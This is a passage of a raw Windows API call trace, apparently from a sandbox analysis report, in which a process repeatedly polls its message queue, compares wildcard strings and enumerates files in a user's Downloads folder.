lpString2=";", cchCount2=1) returned 1 [0056.388] PeekMessageW (in: lpMsg=0x130ecc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecc4) returned 0 [0056.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*\\.*", cchCount1=1, lpString2="?", cchCount2=1) returned 1 [0056.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\.*", cchCount1=1, lpString2="?", cchCount2=1) returned 3 [0056.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".*", cchCount1=1, lpString2="?", cchCount2=1) returned 1 [0056.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*", cchCount1=1, lpString2="?", cchCount2=1) returned 1 [0056.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*\\.*", cchCount1=1, lpString2="*", cchCount2=1) returned 2 [0056.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\.*", cchCount1=1, lpString2="*", cchCount2=1) returned 3 [0056.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".*", cchCount1=1, lpString2="*", cchCount2=1) returned 3 [0056.388] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="*", cchCount1=1, lpString2="*", cchCount2=1) returned 2 [0056.388] PeekMessageW (in: lpMsg=0x130ecc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecc4) returned 0 [0056.388] PeekMessageW (in: lpMsg=0x130ecc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecc4) returned 0 [0056.388] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.388] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.388] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.389] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.389] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.389] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.389] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0056.389] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.389] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.389] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.389] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.389] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.389] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.389] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.389] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.389] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.389] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.389] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.389] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.389] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.389] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.389] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.389] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.389] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.389] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.389] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.389] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.390] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.390] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.390] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.390] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.390] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.390] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.390] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.390] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.390] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Downloads\\*", lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0x164cab0 [0056.390] FindNextFileW (in: hFindFile=0x164cab0, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0056.390] FindNextFileW (in: hFindFile=0x164cab0, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0056.390] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.390] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.390] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.391] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.391] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.391] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.391] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.391] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.391] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.391] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.391] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.391] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.391] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.391] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.391] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0056.392] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.392] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.392] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.392] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.392] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.392] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.392] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.392] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.392] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.393] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.393] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0056.393] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0056.393] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0056.393] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0056.393] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0056.393] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0056.393] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0056.393] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.393] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.393] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.393] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.393] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.393] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.393] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.393] FindNextFileW (in: hFindFile=0x164cab0, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0056.393] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.393] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.394] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.394] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ASH", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0056.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SH", cchCount1=1, lpString2="D", cchCount2=1) returned 3 [0056.394] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="H", cchCount1=1, lpString2="D", cchCount2=1) returned 3 [0056.394] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.394] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.394] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.394] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.394] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.394] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.394] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.394] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.394] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.394] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.394] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0056.412] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0056.413] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0056.413] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0056.413] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0056.413] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0056.413] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0056.413] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.413] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.413] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.413] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.413] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.413] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.413] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.413] FindNextFileW (in: hFindFile=0x164cab0, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 1 [0056.413] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.413] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.414] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.414] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.414] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="A", cchCount1=1, lpString2="D", cchCount2=1) returned 1 [0056.414] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.414] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.414] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.414] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.414] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.414] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.414] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.414] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.414] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.414] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.414] CharUpperBuffW (in: lpsz="__FLTAR_ADDTOLIST", cchLength=0x11 | out: lpsz="__FLTAR_ADDTOLIST") returned 0x11 [0056.414] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0056.415] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0056.415] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0056.415] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0056.415] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0056.415] PeekMessageW (in: lpMsg=0x130ee8c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee8c) returned 0 [0056.415] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.415] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.415] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.415] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.415] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.415] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.415] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.415] FindNextFileW (in: hFindFile=0x164cab0, lpFindFileData=0x130eb18 | out: lpFindFileData=0x130eb18) returned 0 [0056.415] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.415] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f0e4) returned 0 [0056.416] PeekMessageW (in: lpMsg=0x130f0e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 